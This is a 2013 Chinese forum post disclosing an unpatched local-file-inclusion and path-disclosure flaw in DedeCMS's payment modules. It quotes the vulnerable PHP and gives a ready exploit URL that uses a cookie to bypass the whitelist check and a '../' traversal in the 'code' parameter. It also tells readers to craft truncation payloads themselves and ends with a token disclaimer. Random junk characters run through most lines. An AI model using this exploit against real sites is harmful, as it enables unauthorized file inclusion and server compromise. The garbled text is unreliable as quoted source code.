找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2208|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)4 d# z$ a# \( Q- o: N0 n

; w, s' d( g! z1 v8 a, }出现漏洞的两个文件为:
$ t' N6 Y3 Q/ v' n  h9 ~9 I5 c" k7 pInclude/payment/alipay.php
& Y7 a4 e( x7 ]8 N( l  AInclude/payment/yeepay.php: ~' o- s+ q& V  Z
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
0 j$ t) n1 G7 |: z% Y5 ~5 Q" R9 _
Include/payment/alipay.php
+ D  m* j: M2 c' M9 p' \* h" D5 c/ u) U! s, J
......
) _; o# R  R3 n+ |- {   function respond()
) t/ C1 e9 s4 W    {
/ U9 Y; m9 {- S; F# h! P3 I        if (!empty($_POST))8 V7 {) D$ o# t8 a; E. b' X) B7 V
        {
$ f7 u, C0 D5 j6 b& Y            foreach($_POST as $key => $data)( @( U) U9 I3 M( y6 r! L
            {
& n- l: u$ k( N9 B6 y( ~                $_GET[$key] = $data;5 [: n- y) t' [; |1 O- L4 M! [
            }
  Y* n# y+ _: x2 X+ e, G9 d0 H        }
5 }2 [) Y" E" x+ o. S6 D" J        /* 引入配置文件 */- Q. p" F  L2 {
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
0 q9 k- K( J. V+ |$ ]/ i/ V8 l...... 7 n/ q* K9 R6 }

5 n. H4 B; F- r+ j( U* H& [8 k
: m4 U" F  }6 |/ X/ P; i) u大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
$ A# d! A- ^( `5 a8 v4 G6 {
2 q3 U6 `8 a8 `7 l0 n# TInclude/payment/yeepay.php" H1 _* C- z. B* p, u# l( p
0 e1 B  O5 j9 ^" M2 X1 O" y, `* @. C

6 e, _# A0 M2 m# z
7 t, R# G8 s+ K( b9 k......6 `. ^6 b+ k* K, Q' _. i, i
    function respond()5 X. [3 [8 B# ]3 e
    {- c- A/ r& k# z9 L& [& ^6 n
: d/ [) t0 a- [6 e  L* S! X# b
        /* 引入配置文件 */! A. u7 ^8 y6 i8 x! i7 t0 y
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';. z' v1 J2 P" ]9 y4 k
4 R# Z' G" M# d% b1 B* K
        $p1_MerId = trim($payment['yp_account']);
: ?5 C1 ?. g! H$ g& A: _        $merchantKey = trim($payment['yp_key']);
( U1 }& ?7 p# J$ n# t; p" @! U4 i......
& }& f. m9 u* O. {
% ?: t8 U3 Z" b, `, V" s, e8 _3 h6 t9 a

1 M; D+ I! a6 y9 c' w2 y9 ^
' z  b* Y( N; H, y: G  b5 S4 O' A大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。2 z1 M: h8 S; X. p1 M! Q% G& G
5 A6 U5 s% G2 ?: }, n! [
这两个方法在plus/carbuyaction.php文件调用。8 V3 l+ S% j) X9 ?5 p

. p- q$ R% k' ~6 V6 b0 |$ n# Q* j5 pplus/carbuyaction.php
/ q. T+ |$ v# w# Z1 K- Z, f
5 B% ~5 i( Z4 S1 K2 Q4 I1 o2 }......8 }) @1 R+ s/ S9 E1 x! ]
} else if ($dopost == 'return') {" p4 j( D' r$ ^2 D
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
, K8 F0 r8 V) V, ~. G    if (in_array($code, $write_list))/ J& r+ n' v  T7 [$ b$ W2 t
    {' L% i+ x6 V9 t2 ?
        require_once DEDEINC.'/payment/'.$code.'.php';
* g8 C' i4 U0 l. R- m( i- x+ h        $pay = new $code;- ^9 m& I' Q# j% K
        $msg=$pay->respond();
2 v, `  N  E' r. d2 u6 n3 h        ShowMsg($msg, "javascript:;", 0, 3000);3 z% D. ~* E; e
        exit();  
$ D  [0 e' a. c9 J1 z0 A1 G    } else {1 g" p7 Q( Y1 B( }- p: J
        exit('Error:File Type Can\'t Recognized!');
$ h8 d) i. f- M4 Z( X    }" C3 K2 K' [4 U0 {/ l  d
}7 `- D$ U6 ]5 V) N* k
......
$ C0 A5 `2 F' O. V% J
* H2 e2 D9 I2 j3 M5 Y0 n9 f9 h& U4 A- }- m
3 M$ h7 s  q# |6 Q2 V/ R* T" q
3 b& O- j4 q7 W3 d3 q* b6 g  x6 G1 g

- j$ P. P: d4 y8 X6 l/ H8 _5 q
: Z: Y2 G- z4 h. J4 j1 d; |大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。, m2 v  ~0 C; a9 v& h! ]
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
* R+ n% _5 r0 @& p- N
8 ^6 Q( W9 d2 `回到include/common.inc.php来看看他的机制。
$ b- i; u1 ~; m
2 E, _! f# s$ B ! T7 {) w& B% E& h! A; H3 P9 f

" p) c# t9 I5 m; ~$ t1 L......
9 x& Q  f1 Z0 ?4 D7 G* Tforeach(Array('_GET','_POST','_COOKIE') as $_request)
+ ~4 e7 |7 M/ j: @! \  l) @$ c{6 Z( F; X+ x; [9 H/ S' `! [% N
        foreach($$_request as $_k => $_v) 4 H, U( q& I. H4 R
        {
  _; N- h! d. k                if($_k == 'nvarname') ${$_k} = $_v;
  Z' r$ y# v) g0 a% n                else ${$_k} = _RunMagicQuotes($_v);. l  f# |7 W/ F& {1 q
        }# g8 C3 A1 E+ q5 H* U. A2 G
}
( m: a9 X8 t9 C8 K( T$ ^7 @% `......
/ I! S! n4 z* K7 B9 r! V  y大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
5 O) X# E0 M  Y7 s0 s由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表